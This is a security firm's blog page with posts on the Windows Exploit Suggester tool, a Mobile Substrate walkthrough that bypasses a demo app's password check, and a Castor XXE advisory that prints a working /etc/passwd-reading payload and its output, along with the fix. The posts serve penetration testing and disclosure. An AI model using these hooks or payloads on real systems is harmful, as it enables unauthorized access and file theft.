Twitter
Thursday
Aug142014

Analysis of Mobile Application Wrapping Wrap Up

We would like to say thanks to everyone who came to our talk on Mobile Application Wrapping. We received a good amount of positive reactions and we are working hard on completing the whitepaper to accompany the presentation.

The slides for the talk have been added to our Github Repository and is available for download:

Download Slides Here

Thursday
Jul312014

Black Hat USA 2014 

GDS will be speaking at Black Hat USA 2014 on the research we have done on “Application Wrapping” within Mobile Application Management (MAM) BYOD commercial solutions and some of the short comings we have encountered. The complete abstract for the talk can be found here: 

Keep a lookout on our Twitter and Blog for details on downloading the slides and the white paper shortly after the conference. Our research will provide very useful knowledge for the “buyers, builders and breakers” in the BYOD world.

Buyers - Organizations looking to purchase a MAM solution or determine the effectiveness of their current solution will find that we will cover the major threat scenarios in BYOD deployments, common short coming and additionally equip the business with the right questions to ask to the vendors.

Builders - The vendors that are creating the MAM solutions will be able to utilize our research to verify their solutions are not suffering from critical design and implementation flaws. The talk and corresponding whitepaper will provide organization with a solid base line of security checks to validate their solution against.

Breakers - Security assessors can learn throught the walkthroughs of the vulnerabilities discovered. The MAM solution security checklist will be provided so that security firms are equipped with a strong baseline for determining the security posture of a MAM solution. 

The talk will be on August 7th, 5pm at South Seas GH.  We hope to see you there! 

Friday
Jul112014

Introducing Windows Exploit Suggester

Introduction

Privilege escalation is an art form that revolves around information gathering, and enumeration of the target host. The idea is to find the quickest, and easiest way to escalate from a local user account to that of an Administrator. A common method for escalating is using a known exploit to target a vulnerability exposed on the unpatched host. This method is probably the fastest, and with the right information and toolkit of precompiled exploits and Metasploit modules, it is a quick win during any engagement. 

Let’s assume you have access as a local user to a partially patched Windows 7 Service Pack 1 machine. Are there any public exploits available? Which one do you run? Which exploits work with 32-bit and 64-bit architecture? Are there any Metasploit modules available to gain that coveted Meterpreter session? These questions can all be answered by manually reviewing the missing patches, and comparing that to the public exploits. Unfortunately, that is exceedingly time-consuming and thus unrealistic, this is why I sought to automate the process.

After searching online for a Window’s “exploit suggester” tool, I was surprised to find that none existed! Without further ado, I introduce “Windows Exploit Suggester” or for short “winsploit”, a tool created to automate the privilege escalation exploitation process targeting unpatched systems. This script takes, as input, the Microsoft Security Bulletin Database which is available free to download and is updated constantly by Microsoft.

It also needs the “systeminfo” command output on a target Windows host. Typically a low-privilege user is able to execute the “systeminfo” command, and when assessing the patch levels of a target host, it can provide a wealth of information (including hotfixes applied!).

Finally, it cross-references the previous information to that of a static list of Metasploit modules and publicy available proof-of-concept exploits for each bulletin number. When this information is combined, the end result is the ability to quickly analyse whether or not a target Windows host is vulnerable to many publicly available exploits.

Setup & Usage

You can find this tool on GitHub under the Windows-Exploit-Suggester repository. The tool is written in Python 2.7 and requires the xlrd library (for Excel spreadsheet parsing). This is most easily installed using pip.

$ pip install xlrd –upgrade

Alternatively, it can be downloaded from the website directly (https://pypi.python.org/pypi/xlrd/0.9.3). I was unable to use the version in the Ubuntu 12.04 repositories as it was incompatible, so had to use pip directly. 

Once the dependencies have been met, we will download the Microsoft Security Bulletin Database using the —update flag. This flag just scrapes the bulletin database from Microsoft and saves it as a local Excel file and will serve as our local bulletin database.

Once we get the local database file downloaded, we will need some “systeminfo” command output from our low-privilege user. I am using an example build from a Windows 7 Service Pack 1 32-bit machine in this scenario. Once I’ve gathered this data, I’ll run the tool against it, and include the Microsoft Bulletin database file.

Looking at the raw output, there are plenty of exploits to pick from! We can weed through the client-side attacks, assuming we’re not interested in Internet Explorer bugs at this time, and focus in on MS13-053. This exploit is quite reliable, and is better known as the pprFlattenRec exploit (http://www.rapid7.com/db/modules/exploit/windows/local/ppr_flatten_rec). The best thing about it is that it’s in Metasploit!

Everything this tool does could be done manually, but it has the ability to act as a quick solution when escalating privileges on a Windows host. I have found it helpful in many instances, especially when new bulletins come out and new Metasploit modules get released.

This tool also has the ability to tell you about any exploits possible about a target operating system. For example, lets say we want to know all of the public exploits available for a Windows 2008 R2 Server Itanium. This can be achieved with the —ostext flag, which is a loose representation of the operating system, service pack, and architecture (defaults to 32-bit).

This feature is really useful when you are able to fingerprint a target’s operating system and want to know if any Remote Code Execution bugs exist. Although not necessarily privilege escalation, it is a relevant feature to the tool.

Limitations

As with any automated tool, there are always limitations. These are some that I have identified through the use of the tool and it’s capabilities.

1 DAY ONLY — Of course this relies on known bulletins, exploits, and bugs but for an unpatched host it is a quick-win that can speed up the effectiveness of privilege escalation. It requires an entry to be present within the Microsoft Security Bulletin database, and with unsupported software (XP), these entries won’t exist! 

FALSE POSITIVES — The command output also assumes that you have every feature in Windows. For example, it will flag vulnerabilities relating to IIS even if IIS is not present on the machine! It assumes that it is a fully-featured Windows installation with all services so some intelligent manual filtering will have to be made when looking for an exploit.

INACCURATE SYSTEMINFO — There is also the presence of “File 1” entries in the ‘systeminfo’ command output which will skew the results because it cannot detect the relevant hotfixes. If there are “File 1” entries, additional commands will have to be executed to gather the hotfix data (querying the system registry directly, or using wmic). Once this data is collected it can be fed into the tool using the —hotfixes flag.

Summary

In summary, targeting an unpatched host is but one method of privilege escalation, and this tool makes that process much faster for Windows hosts. Time is essential when performing assessments, so any edge can really help. Please feel free to contact me regarding any bugs, comments, concerns, or feature requests so that I can take a look at them and make the tool even better! 

Thursday
Jun192014

Using Mobile Substrate with Android Applications

Android application assessments are a frequent occurrence here at GDS. When our clients do not provide us with source code, we take a black box testing approach which includes intercepting and/or modifying function calls. This can range from parameters passed to a function, function return values, or even logic within a function.

Recently we’ve been utilizing Mobile Substrate as an alternative to the tried and true APK decompile, modify, and recompile methodology. A key advantage being you don’t have to work with smali. 

Aside from the documentation on Mobile Substrate’s home site, there aren’t many posts on the web on how to use it and we’ve encountered a few errors and problems along the way. That being said, this post aims to provide a more in depth walkthrough for those interested in using Mobile Substrate in the most common scenarios.

Post Outline

The outline below illustrates the major topics that will be covered in this post:

  • Hooking functions
  • Viewing function parameters
  • Modifying function parameters
  • Viewing return values
  • Modifying return values

Getting Started

The application we will be using in this demonstration is a demo application called ListLock. This application allows users to password protect a super secret list from prowling eyes.

The techniques in this post will be focused on bypassing ListLock’s lock screen.

Note: This guide assumes you have a rooted device, have already installed Mobile Substrate onto the device, and have already downloaded the Mobile Substrate API.

In case you haven’t done so yet, you can download the Mobile Substrate APK here: https://play.google.com/store/apps/details?id=com.saurik.substrate 

You can also read the following documentation on how to download the Mobile Substrate APIs here: http://www.cydiasubstrate.com/id/73e45fe5-4525-4de7-ac14-6016652cc1b8/

Setting Up the IDE

Note: I will be using the Android Development Toolkit (Eclipse) IDE that is packaged with the Android SDK for creating our Substrate hook.

In order to start building our Substrate hooks, we need to create a new Android application project. The name of the class will be ‘ListBypass’. Uncheck the “Create custom launcher icon” and “Create activity” options and click “Finish”.

 

Adding Permissions to AndroidManifest.xml

The first thing we like to do before coding the actual Substrate hook is adding permissions to the AndroidManifiest.xml file. This is usually the step that we tend to forget whenever we’re developing a Substrate hook, so we prefer to take care of it first.

To do this, we can add the following tag towards the top of the manifest file:

<uses-permission android:name="cydia.permission.SUBSTRATE"/>

Including Substrate Libraries

Next, we need to include the Substrate libraries. The easiest way to do this is to navigate to the ‘android/adt/sdk/extras/saurikit/cydia_substrate/’ directory and drag-and-drop the ‘substrate-api.jar’ file into the libs folder of your project.

Eclipse will prompt you to “Copy files” or “Link to files”. You want to select “Copy files”

Note: One of the biggest pitfalls we see people make is to select the ‘Link to files’ option. While this will stop your IDE from complaining about missing dependencies, this approach will not work when you attempt to load your Substrate hook on the device. This is because the ‘Link to files’ option points to the jar on your local computer. Since the Substrate hook will be running on the device, it will be unable to locate the jar.

Finding Target Function

Before we can start hooking, we need to know what to hook. To do this, we can decompile the ListLock.apk using a tool like Dex2Jar and look through the code until we find the appropriate function. Instructions for decompiling an APK will not be discussed in this post. 

Let’s target the validatePassword() method found in the com.historypeats.listlock.classes.Authenticate class. By looking at the source-code, this method looks to be responsible for allowing a user to log into the ListLock application.

Below is a code snippet of the validatePassword() method:

public boolean validatePassword(String password, String storedPassword){

    if(storedPassword.equals(password)){
        return true;
    }
    return false;
}
Let’s see if we can bypass this using a Substrate hook. We have two attack vectors for accomplishing this:
  • Print out the storedPassword argument
  • Modify the return value

Coding a Substrate Hook

Let’s start off our code by adding some variables and making sure we import our dependencies:

import java.lang.reflect.Method;

import android.util.Log;

import com.saurik.substrate.MS;

 

public class ListBypass {

    private static String TAG = “ListBypass”;

    private static String className = “com.historypeats.listlock.classes.Authenticate”;

}

The ‘TAG’ variable identifies the logging statements that pertain to this Substrate hook. The ‘className’ variable represents the fully qualified class name that contains the method we want to hook. In this case, ‘com.historypeats.listlock.classes.Authenticate’ is the class that contains the ‘validatePassword’ method that we are targeting.

Next we’ll dive into the meat of our Substrate hook. We’ll go ahead and add the essential layout to get started with the hook.

private static String className = "com.historypeats.listlock.classes.Authenticate";

public static void initialize() {

 Log.i(TAG, "Substrate Initialized.");

         MS.hookClassLoad(className, new MS.ClassLoadHook() {

         @SuppressWarnings({ "unchecked", "rawtypes" })

             public void classLoaded(Class<?> _class) {

              Method method;

              final String methodName = "validatePassword";

              Log.i(TAG, "Class Loaded.");

                 try{

                  method = _class.getMethod(methodName, String.class, String.class); // public boolean validatePassword(String password, String storedPassword)

                 }catch(NoSuchMethodException e){

                  method = null;

                  Log.i(TAG, "No such method: " + methodName);

                 }

              if (method != null) {

              Log.i(TAG, "Method Hooked.");

              }

             }

         }); // End MS.hookClassLoad

}

Our IDE tells us that the MS.hookClassLoad() method is looking for a class name, and a hook object. Let’s go over the following essential code segments.

The variable ‘methodName’ contains the name of the method that we want to hook, which in this case is ‘validatePassword’. Next, we assign a value to the method variable by returning a method object from ‘_class.getMethod()’. The first argument to ‘_class.getMethod’ represents the target method to hook (‘validatePassword’). The subsequent arguments represent the target method’s parameter types (parameters accepted by ‘validatePassword’). The ‘validatePassword’ method accepts two string parameters, specifically a password and storedPassword. Note, the names of the parameters are irrelevant for hooking; only the types are important.

//public boolean validatePassword(String password, String storedPassword)

Some other commonly encountered parameter types you can pass to getMethod()include:

  • Byte.class
  • Integer.class
  • Boolean.class
  • Double.class
  • Float.class

Note: The primitive array equivalents work as well. For example, Integer[].class for an array of integers.

Running our Substrate Hook

With the skeleton of the Substrate hook in place, running this code should yield the following debug message in Logcat: “Method Hooked”. In order to test this out, install and run the ListBypass hook from ADT by clicking the ‘Run’ icon in the toolbar or by navigating to the ‘Run’ option at the top of the window and then selecting the ‘Run’ button in the dropdown menu.

This should result in an alert from the Mobile Substrate application about new/updated extensions. We can either click on this alert or open the Mobile Substrate application directly.There will be several options to choose from. Select the “Restart System (Soft)” option.The device will perform a quick restart, which will result in the loading of our Substrate hook. After the screen flashes, we can run the ListLock application and monitor the Logcat output for our debug message.

04-26 22:15:21.536: I/ListBypasss(11604): Substrate Initialized.

04-26 22:16:22.085: I/ListBypasss(12596): Class Loaded.

04-26 22:16:22.085: I/ListBypasss(12596): Method Hooked. 

 


Perfect! Based on the output, we have successfully hooked the method we had originally targeted. Now we can start performing the actions that we want.

First Attack: Print out method arguments

If you recall, the first goal was to discover the argument passed into the method. In this case, we want to find the value of the storedPassword parameter that is being passed into the validatePassword() method. Let’s start by writing the skeleton code with stub placeholders.

public static void initialize() {

 Log.i(TAG, "Substrate Initialized.");

         MS.hookClassLoad(className, new MS.ClassLoadHook() {

         @SuppressWarnings({ "unchecked", "rawtypes" })

             public void classLoaded(Class<?> _class) {

              Method method;

              final String methodName = "validatePassword";

              Log.i(TAG, "Class Loaded.");

                 try{

                  method = _class.getMethod(methodName, String.class, String.class); // public boolean validatePassword(String password, String storedPassword)

                 }catch(NoSuchMethodException e){

                  method = null;

                  Log.i(TAG, "No such method: " + methodName);

                 }

              if (method != null) {

              Log.i(TAG, "Method Hooked.");

              MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

                public Boolean invoked(Object _class, Object... args) throws Throwable

                {

                //Do Something 

                return invoke(_class, args);

                }

});// End MS.hookMethod

              }

             }

         }); // End MS.hookClassLoad

  }

In the code above, there is a call to the ‘MS.hookMethod()’ from the Substrate API. This method requires the following parameters: the class we hooked, the method we want to modify, and the altered method. What is an altered method? See below for an excerpt from the Substrate documentation:

“An instance of MS.MethodAlteration whose boxed invoked method will be called instead of member. This instance will also be filled in using information from the original implementation, allowing you to use invoke to call the original method implementation.”

This means that we can build a method named ‘invoked’ that will be called in place of the original method. Additionally, our invoked() method will have access to the parameters passed into the original method, allowing us to print out the values of the parameters. We also have the ability to call the original method (with the original parameters) from within our own method to allow the application to function as normal.

The items highlighted mark what the return type of the method we are hooking has. In this case, the ‘validatePassword()’ method that we are hooking has a return type of Boolean. In future hooks, you’ll want to ensure you have the proper return types that match the method you are hooking.

Finally, we need to invoke the original method to allow the application to function as normal. This is accomplished by calling ‘invoke()’, passing in the class and arguments that were originally provided. In this case, we immediately return the value returned by ‘invoke()’. As we’ll see later on, we can also store this value in a variable, modify its contents, etc.

Argument Tampering

Now that we have our own method that will be called in place of the original ‘validatePassword()’, let’s write the code to print out the juicy password arguments.

MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

    public Boolean invoked(Object _class, Object… args) throws Throwable {

        //Do Something

        String password = (String)args[0];

        String storedPassword = (String)args[1];

        Log.i(TAG, “Arg0 (password): ” + password);

        Log.i(TAG, “Arg1 (storedPassword): ” + storedPassword);

        return invoke(_class, args); // Call original validatePassword() method and pass it the original arguments then return the value to the caller

    }

});// End MS.hookMethod 

In the code above, the first argument represents the password the user entered into the application. This value is stored in the variable ‘password’. The second argument represents the stored password, which is the correct password to login to the list. This value is stored in the variable ‘storedPassword’. Since the args variable is of type Object, we need to remember to cast it to the proper type before we store it. In this case, we cast the values to String objects and store the values in String variables.

Viewing Arguments

We can now run our new Substrate hook following the steps previously outlined. The use of the Log() function should result in the values being printed out to Logcat.

04-26 23:12:39.621: I/ListBypasss(16551): Arg0 (password): wrongPassw0rd

04-26 23:12:39.621: I/ListBypasss(16551): Arg1 (storedPassword): C@ntSeeMyList!

 

Here we can see that the password we entered, wrongPassw0rd, does not match the correct password, which is C@ntSeeMyList!. Now that we know the correct password, we can simply log into the application!

Second Attack: Modify Return Values

Thus far, we have written a Substrate hook that will print out the stored password, thereby allowing us to login to the application. What if we didn’t want to type in the correct password every single time, but still be able to login? To accomplish this, we can tweak our Substrate hook to modify the return value of the ‘validatePassword’ method.

Let’s begin by printing out the return value of the ‘validatePassword’ method.

MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

    public Boolean invoked(Object _class, Object... args) throws Throwable {

        //Do Something

        Boolean originalRetValue = invoke(_class, args);

        Log.i(TAG, "Original Return Value: " + originalRetValue);

       return originalRetValue;

    }

});// End MS.hookMethod

In the code segment above, we use the ‘invoke()’ method to call the original ‘validatePassword()’ method with the original arguments. We then store the return value from ‘validatePassword()’ in a Boolean variable named ‘originalRetValue’, print this value to Logcat, and return it to the caller.

04-26 23:59:18.421: I/ListBypasss(22365): Original Return Value: false

As seen above, the ‘validatePassword()’ method returns ‘false’ when an incorrect password is entered. The next logical step is to modify our Substrate hook to return ‘true’ to the caller instead of the original return value.

MS.hookMethod(_class, method, new MS.MethodAlteration<Object, Boolean>() {

    public Boolean invoked(Object _class, Object... args) throws Throwable {

        //Do Something

        Boolean originalRetValue = invoke(_class, args);

        Boolean newRetValue = true;

        Log.i(TAG, "Original Return Value: " + originalRetValue);

        Log.i(TAG, "New Return Value: " + newRetValue);

        return newRetValue;

    }

});// End MS.hookMethod

Note that instead of returning ‘originalRetValue’, we return ‘newRetValue’, which is always true. This means that regardless of the password entered, we will always gain access to the List. It should be noted that we did not need to run the original method. So there is no need to call invoke() in this situation. We could have easily written: “return true”.

Image of super secret, embarrassing list

 

What if you want to hook multiple methods or classes? Well, if you want to create a single Substrate hook that hooks into multiple classes, all you need to do is create multiple MS.hookClassLoad methods, one after another. Sure, you can engineer a better object-oriented design, but for one or two classes, it may be simpler to just call multiple MS.hookClassLoad methods. Similarly for hooking multiple methods in a single class, you just call getMethod() multiple times with the proper arguments. 

In conclusion, we learned the basics of hooking with Mobile Substrate. From setting up our Substrate code in an IDE to extracting and modifying the data that we want. If you want to practice this, the Substrate code and demo APK can be found the Github link below:

 https://github.com/GDSSecurity/SubstrateDemo

Friday
Jun132014

Castor Library XML External Entity (XXE) Vulnerability 

Castor Library Default Configuration could lead to XML External Entity (XXE) Attack

Vulnerability Type: Local or Remote File Disclosure

Reporter: Ron Gutierrez ([email protected]) and Adam Bixby ([email protected])

Company: Gotham Digital Science ([email protected])

Affected Software:  Caster 1.3.3-RC1 Library and earlier

CVE-Reference - CVE-2014-3004

Severity: High

 

===========================================================

Summary

===========================================================

The Castor library is an Open Source data-binding framework for Java applications.  One of its most useful functions are to provide for easy implementations of Java-to-XML binding.  The library’s unmarshalling class, however, is susceptible to XML External Entity (XXE) attacks.  If the XML that is being passed to the unmarshalling function is controllable by an end user, there is the potential that they could retrieve local resources, download malicious code from other servers, and/or open arbitrary TCP connections.  For more information on XXE, please see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

===========================================================

Technical Details

===========================================================

The Castor library’s unmarshalling functionality, if used with default settings, does not prevent the referencing of external entities or doctype declarations, opening up any application that utilizes this functionality to an XXE attack.  Under the hood, the Castor library is using the Xerces SAX Parser, which needs to be configured securely in order to prevent these types of attacks.  Castor does not have these secure settings turned on in the default configuration file and does not make reference to them anywhere in their documentation.

XXE attacks come about due to the way in which XML parsers in general handle XML documents containing external entities.  When an XML parser encounters a DOCTYPE declaring an external entity, it expands all instances of the entity with the contents of the URI reference that is being defined.  For example, consider an XML document such as the following:

<?xml version=”1.0” encoding=”ISO-8859-1”?>

<!DOCTYPE gds [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>

<gds>&xxe;</gds>

When the XML parser encounters “&xxe;” it will embed the contents of “/etc/passwd”, which may then be returned in the server’s response, typically in an exception message.

When you utilize the Castor library, the castor.properties file contains references to attributes that can be added to your SAX Parser configuration, however, it does not enable any of these hardening references out of the box.  Unless the developer is acutely aware that they need to add these hardening references to their configuration, their application will be potentially vulnerable.

 

===========================================================

Proof-of-Concept Code and Exploit

===========================================================

Now let’s look at how Castor handles unmarshalling calls to show how an application could be vulnerable:

In this simple class, we create Person object:

..snip..

public class Person implements java.io.Serializable {

/** The name of the person */

  private String name = null;

  /** The Date of birth */

  private Date dob = null;

  /** Creates a Person with no name */

  public Person() {

     super();

  }

  /** Creates a Person with the given name */

  public Person(String name) { this.name = name; }

..snip..

Next, we generate a class that takes in external XML data to convert the XML document to a Person Object using the unmarshalling function:

public static Person deserializePersonWithStatic(String xmlInput)

{

   StringReader xmlReader = new StringReader(xmlInput);

         

   Person aPerson = null;

    try

   {

          aPerson = (Person) Unmarshaller.unmarshal(Person.class, xmlReader);

   }

          catch (Exception e)

   {

          System.out.println(“Failed to unmarshal the xml”);

          e.printStackTrace();

   }

         

          return aPerson;

   }

If our application took in the XML data from a user controllable location and passed it through this unmarshalling function, the end user could use this functionality to view local resources on the application’s hosting server.  For example, look at the following Servlet that takes in XML data from the Request:

public class GeneratePerson extends HttpServlet {

    public void doPost(HttpServletRequest req, HttpServletResponse res)

                              throws ServletException, IOException

{

              String evilPersonXML = req.getParameter(“person”);

 

          Person anotherPerson = deserializePersonWithStatic(evilPersonXML);

         

          if(anotherPerson == null)

          {

                  System.out.println(“No Person Object set”);

          }

          else

          {

                  System.out.println(“XXE Person name: “+ anotherPerson.getName());

          }

 

What would happen if we passed the following string into the “person” request parameter value?:

<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?><!DOCTYPE doc [ <!ENTITY x3 SYSTEM “file:///etc/passwd”> ] ><person><name>&x3;</name></person>

The output would be the following:

XXE Person name: ##

# User Database

#

# Note that this file is consulted directly only when the system is running

# in single-user mode.  At other times this information is provided by

# Open Directory.

#

# See the opendirectoryd(8) man page for additional information about

# Open Directory.

##

nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

root:*:0:0:System Administrator:/var/root:/bin/sh

daemon:*:1:1:System Services:/var/root:/usr/bin/false

..snip..

As you can see, the unmarshalling function allowed external entities to be referenced and therefore the contents of the server’s /etc/passwd file was set within the “name” variable of the deserialized Person object.

===========================================================

Recommendation

===========================================================

The fix for this issue is actually very simple.  The main Castor configuration file (castor.properties) can be used to specify which XML features should be enable/disabled.  In order to prevent the parser from reading external entities , the external-general-entities and the external-parameter-entities should be disable.  Additionally, the disallow-doctype-decl option should be turned on.  The following is what the entry in the caster.properties file should look like:

# Comma separated list of SAX 2 features that should be enabled

# for the default parser.

#

org.exolab.castor.sax.features=\

 http://apache.org/xml/features/disallow-doctype-decl

# Comma separated list of SAX 2 features that should be disabled

# for the default parser.

#

org.exolab.castor.sax.features-to-disable=\

 http://xml.org/sax/features/external-general-entities,\

 http://xml.org/sax/features/external-parameter-entities,\

 http://apache.org/xml/features/nonvalidating/load-external-dtd